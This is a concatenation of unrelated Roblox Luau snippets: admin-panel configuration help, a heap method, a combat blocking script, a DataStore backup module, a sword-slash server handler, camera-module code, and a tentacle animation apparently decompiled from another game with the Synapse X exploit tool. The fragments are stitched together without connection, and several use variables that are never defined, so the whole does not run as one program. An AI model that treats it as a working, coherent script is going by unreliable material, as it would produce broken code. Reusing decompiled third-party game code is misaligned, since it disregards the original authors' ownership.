--[[ * Trello Bans Help Steps to follow: 1) Make sure HttpService is enabled, to do so, paste "game:GetService('HttpService').HttpEnabled = true" into the command bar. 2) Make sure Trello Bans is enabled 3) Make sure the trello board is public 4) Paste the trello board ID into the Trello Board ID option 5) On the trello board, create a list called "Ban List" 6) Add bans Note that the ban format for the name of the card is: Shedletsky:261 ----------------------------------------------------------------------------- * Group Admin Help: Types of admin 1 = Mod 2 = Admin 3 = Super Admin The empty table should appear as this: ['Group Configuration'] = { { ['Group ID'] = 0, ['Group Rank'] = 0, ['Tolerance Type'] = '>=', ['Admin Level'] = 0, }, }, To add a group, create another table inside of the existing one; this should look like this: ['Group Configuration'] = { { ['Group ID'] = 0, ['Group Rank'] = 0, ['Tolerance Type'] = '>=', ['Admin Level'] = 0, }, { ['Group ID'] = 0, ['Group Rank'] = 0, ['Tolerance Type'] = '>=', ['Admin Level'] = 0, }, }, Now add the group id into it, followed by a comma, followed by the group rank, - followed by the level of admin those users should receive. An example of a finished product is: { ['Group ID'] = 950346, ['Group Rank'] = 20, ['Tolerance Type'] = '>=', ['Admin Level'] = 2, }, That will give people in the group id "950346", whom are at rank 20 or higher, level 2 admin, - which is regular admin. ------------------------------------------------------------------------------ * Command Configuration Help ['Command Configuration'] = { ['fly'] = { ['Permission'] = 1, }, }, ['fly'] is the command being altered or changed. ['Permission'] is the property of the command being changed. There are 5 levels of admin, 0 = Everyone 1 = Mod 2 = Admin 3 = Superadmin 4 = Game Creator If you only wanted admins to fly, change the 1 to a 2. ['Command Configuration'] = { ['fly'] = { ['Permission'] = 2, }, ['unfly'] = { ['Permission'] = 2, }, }, --]]
--[[ @brief Adds an element to the heap. @param element The element to add. --]]
function Heap:Insert(element) rawset(self, #self + 1, element); self:_HeapifyBottomUp(#self); end
--[[ Script Variables ]]
-- while not Players.LocalPlayer do task.wait() end local LocalPlayer = Players.LocalPlayer local DPadFrame = nil local TouchObject = nil local OnInputEnded = nil -- defined in Create()
----- Functions
local function startBlocking() Status = "Blocking" game:GetService("SoundService").SFX.Combat.ActivateBlock:Play() local vignetteImageLabel = plr.PlayerGui.Vignette.ImageLabel game:GetService("TweenService"):Create(vignetteImageLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, false, 0), {ImageTransparency = 0}):Play() BlockingRemote:FireServer() game.TweenService:Create(workspace.CurrentCamera, TweenInfo.new(.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), {FieldOfView = 60}):Play() hum.WalkSpeed = 7 gaurdingAnimation:Play() end local function stopBlocking() Status = "nil" game:GetService("SoundService").SFX.Combat.ActivateBlock:Play() local vignetteImageLabel = plr.PlayerGui.Vignette.ImageLabel game:GetService("TweenService"):Create(vignetteImageLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, false, 0), {ImageTransparency = 1}):Play() debounce = true RemoveBlocking:FireServer() game.TweenService:Create(workspace.CurrentCamera, TweenInfo.new(.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), {FieldOfView = 70}):Play() hum.WalkSpeed = 16 gaurdingAnimation:Stop() CooldownModule.New("Block", CD) task.wait(CD) debounce = false end UserInputService.InputBegan:Connect(function(input, isProcessed) if isProcessed then return end if input.KeyCode == Enum.KeyCode.F then if not char.Values:FindFirstChild("Stunned") and not debounce then if Status == "nil" then startBlocking() end end end end) UserInputService.InputEnded:Connect(function(input) if input.KeyCode == Enum.KeyCode.F and Status == "Blocking" then stopBlocking() end end)
--[[ Replaces the need to chain FindFirstChild. Starting at baseInstance, will navigate through tuple string arguments until there is no child to be found. ]]
function DataModelUtils.findFirstDescendant(baseInstance, ...) local returningChild = baseInstance for _, childName in ipairs({...}) do local nextChild = returningChild:FindFirstChild(childName) if not nextChild then return else returningChild = nextChild end end return returningChild end
--[[ berezaa's method of saving data (from the dev forum): What I do and this might seem a little over-the-top but it's fine as long as you're not using datastores excessively elsewhere is have a datastore and an ordereddatastore for each player. When you perform a save, add a key (can be anything) with the value of os.time() to the ordereddatastore and save a key with the os.time() and the value of the player's data to the regular datastore. Then, when loading data, get the highest number from the ordered data store (most recent save) and load the data with that as a key. Ever since I implemented this, pretty much no one has ever lost data. There's no caches to worry about either because you're never overriding any keys. Plus, it has the added benefit of allowing you to restore lost data, since every save doubles as a backup which can be easily found with the ordereddatastore edit: while there's no official comment on this, many developers including myself have noticed really bad cache times and issues with using the same datastore keys to save data across multiple places in the same game. With this method, data is almost always instantly accessible immediately after a player teleports, making it useful for multi-place games. --]]
local DataStoreService = game:GetService("DataStoreService") local Promise = require(script.Parent.Parent.Promise) local OrderedBackups = {} OrderedBackups.__index = OrderedBackups function OrderedBackups:Get() return Promise.async(function(resolve) resolve(self.orderedDataStore:GetSortedAsync(false, 1):GetCurrentPage()[1]) end):andThen(function(mostRecentKeyPage) if mostRecentKeyPage then local recentKey = mostRecentKeyPage.value self.dataStore2:Debug("most recent key", mostRecentKeyPage) self.mostRecentKey = recentKey return Promise.async(function(resolve) resolve(self.dataStore:GetAsync(recentKey)) end) else self.dataStore2:Debug("no recent key") return nil end end) end function OrderedBackups:Set(value) local key = (self.mostRecentKey or 0) + 1 return Promise.async(function(resolve) self.dataStore:SetAsync(key, value) resolve() end):andThen(function() return Promise.promisify(function() self.orderedDataStore:SetAsync(key, key) end)() end):andThen(function() self.mostRecentKey = key end) end function OrderedBackups.new(dataStore2) local dataStoreKey = dataStore2.Name .. "/" .. dataStore2.UserId local info = { dataStore2 = dataStore2, dataStore = DataStoreService:GetDataStore(dataStoreKey), orderedDataStore = DataStoreService:GetOrderedDataStore(dataStoreKey), } return setmetatable(info, OrderedBackups) end return OrderedBackups
--
script.Parent.OnServerEvent:Connect(function(p) local Character = p.Character local Humanoid = Character.Humanoid local RootPart = Character.HumanoidRootPart local Slash = RS.Effects.Part2:Clone() script.Attack:Play() Slash.Parent = FX Slash.CFrame = RootPart.CFrame * CFrame.new(0,0,-3) local BV = Instance.new("BodyVelocity",Slash) BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge) BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 60 Slash.Touched:Connect(function(hit) if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then hit.Parent.Humanoid:TakeDamage(Damage) local HitEffect = Effects.Hit2.Attachment:Clone() local RootPart2 = hit.Parent.HumanoidRootPart HitEffect.Parent = RootPart2 for _,Particles in pairs(HitEffect:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end HitEffect.Hit:Play() local vel = Instance.new("BodyVelocity", RootPart2) vel.MaxForce = Vector3.new(1,1,1) * 1000000; vel.Parent = RootPart2 vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0 vel.Name = "SmallMoveVel" game.Debris:AddItem(vel,1) Slash:Destroy() end wait(1) Slash.Anchored = true for _,Particles in pairs(Slash.Part.Parent:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles.Enabled = false end end Slash.PointLight.Enabled = false end) end)
-- New for AllCameraInLua support
local function shouldUseOcclusionModule() local player = PlayersService.LocalPlayer if player and game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CameraType == Enum.CameraType.Custom then return true end return false end local function Update() if EnabledCamera then EnabledCamera:Update() end if EnabledOcclusion and not VRService.VREnabled then EnabledOcclusion:Update(EnabledCamera) end if shouldUsePlayerScriptsCamera() then TransparencyController:Update() end end local function SetEnabledCamera(newCamera) if EnabledCamera ~= newCamera then if EnabledCamera then EnabledCamera:SetEnabled(false) end EnabledCamera = newCamera if EnabledCamera then EnabledCamera:SetEnabled(true) end end end local function OnCameraMovementModeChange(newCameraMode) if newCameraMode == Enum.DevComputerMovementMode.ClickToMove.Name then if FFlagUserNoCameraClickToMove then --No longer responding to ClickToMove here! return end ClickToMove:Start() SetEnabledCamera(nil) TransparencyController:SetEnabled(true) else local currentCameraType = workspace.CurrentCamera and workspace.CurrentCamera.CameraType if VRService.VREnabled and currentCameraType ~= Enum.CameraType.Scriptable then SetEnabledCamera(VRCamera) TransparencyController:SetEnabled(false) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Classic.Name then SetEnabledCamera(ClassicCamera) TransparencyController:SetEnabled(true) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Follow.Name then SetEnabledCamera(FollowCamera) TransparencyController:SetEnabled(true) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and (isOrbitalCameraEnabled and (newCameraMode == Enum.ComputerCameraMovementMode.Orbital.Name)) then SetEnabledCamera(OrbitalCamera) TransparencyController:SetEnabled(true) elseif AllCamerasInLua and CameraTypeEnumMap[currentCameraType] then SetEnabledCamera(CameraTypeEnumMap[currentCameraType]) TransparencyController:SetEnabled(false) else -- Our camera movement code was disabled by the developer SetEnabledCamera(nil) TransparencyController:SetEnabled(false) end ClickToMove:Stop() end local useOcclusion = shouldUseOcclusionModule() local newOcclusionMode = getCameraOcclusionMode() if EnabledOcclusion == Invisicam and (newOcclusionMode ~= Enum.DevCameraOcclusionMode.Invisicam or (not useOcclusion)) then Invisicam:Cleanup() end -- PopperCam does not work with OrbitalCamera, as OrbitalCamera's distance can be fixed. if useOcclusion then if newOcclusionMode == Enum.DevCameraOcclusionMode.Zoom and ( isOrbitalCameraEnabled and newCameraMode ~= Enum.ComputerCameraMovementMode.Orbital.Name ) then EnabledOcclusion = PopperCam elseif newOcclusionMode == Enum.DevCameraOcclusionMode.Invisicam then EnabledOcclusion = Invisicam else EnabledOcclusion = nil end else EnabledOcclusion = nil end end local function OnCameraTypeChanged(newCameraType) if newCameraType == Enum.CameraType.Scriptable then if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end local function OnCameraSubjectChanged(newSubject) TransparencyController:SetSubject(newSubject) end local function OnNewCamera() OnCameraMovementModeChange(getCurrentCameraMode()) local currentCamera = workspace.CurrentCamera if currentCamera then if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() end if cameraTypeChangedConn then cameraTypeChangedConn:disconnect() end cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):connect(function() OnCameraSubjectChanged(currentCamera.CameraSubject) end) cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):connect(function() OnCameraMovementModeChange(getCurrentCameraMode()) OnCameraTypeChanged(currentCamera.CameraType) end) OnCameraSubjectChanged(currentCamera.CameraSubject) OnCameraTypeChanged(currentCamera.CameraType) end end local function OnPlayerAdded(player) workspace.Changed:connect(function(prop) if prop == 'CurrentCamera' then OnNewCamera() end end) player.Changed:connect(function(prop) OnCameraMovementModeChange(getCurrentCameraMode()) end) GameSettings.Changed:connect(function(prop) OnCameraMovementModeChange(getCurrentCameraMode()) end) RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, Update) OnNewCamera() OnCameraMovementModeChange(getCurrentCameraMode()) end do while PlayersService.LocalPlayer == nil do PlayersService.PlayerAdded:wait() end hasLastInput = pcall(function() lastInputType = UserInputService:GetLastInputType() UserInputService.LastInputTypeChanged:connect(function(newLastInputType) lastInputType = newLastInputType end) end) OnPlayerAdded(PlayersService.LocalPlayer) end local function OnVREnabled() OnCameraMovementModeChange(getCurrentCameraMode()) end VRService:GetPropertyChangedSignal("VREnabled"):connect(OnVREnabled)
-- Decompiled with the Synapse X Luau decompiler.
return { run = function(p1) local l__Shopkeeper__1 = p1.Shopkeeper; local v2 = {}; for v3 = 1, 4 do local v4 = "Tentacle" .. v3; local v5 = v2[v4]; local v6 = l__Shopkeeper__1:FindFirstChild(v4); local v7 = {}; for v8, v9 in pairs({ { "Bone", "TentacleBase" .. v3 }, { "Bone.001", "T" .. v3 .. "_P1" }, { "Bone.002", "T" .. v3 .. "_P2" }, { "Bone.003", "T" .. v3 .. "_P3" }, { "Bone.004", "T" .. v3 .. "_P4" }, { "Bone.005", "T" .. v3 .. "_P5" }, { "Bone.006", "T" .. v3 .. "_P6" }, { "Bone.007", "T" .. v3 .. "_P7" }, { "Bone.008", "T" .. v3 .. "_P8" }, { "Bone.009", "T" .. v3 .. "_P9" } }) do table.insert(v7, { v6:FindFirstChild(v9[1], true), v6:FindFirstChild(v9[2], true) }); end; v2[v4] = v7; end; coroutine.wrap(function() for v10 = 1, 10000000000 do for v11 = 1, 4 do local v12 = v2["Tentacle" .. v11]; for v13 = 1, 10 do local v14 = v12[v13]; v14[1].WorldCFrame = v14[2].CFrame; end; end; game["Run Service"].Heartbeat:wait(); end; end)(); end };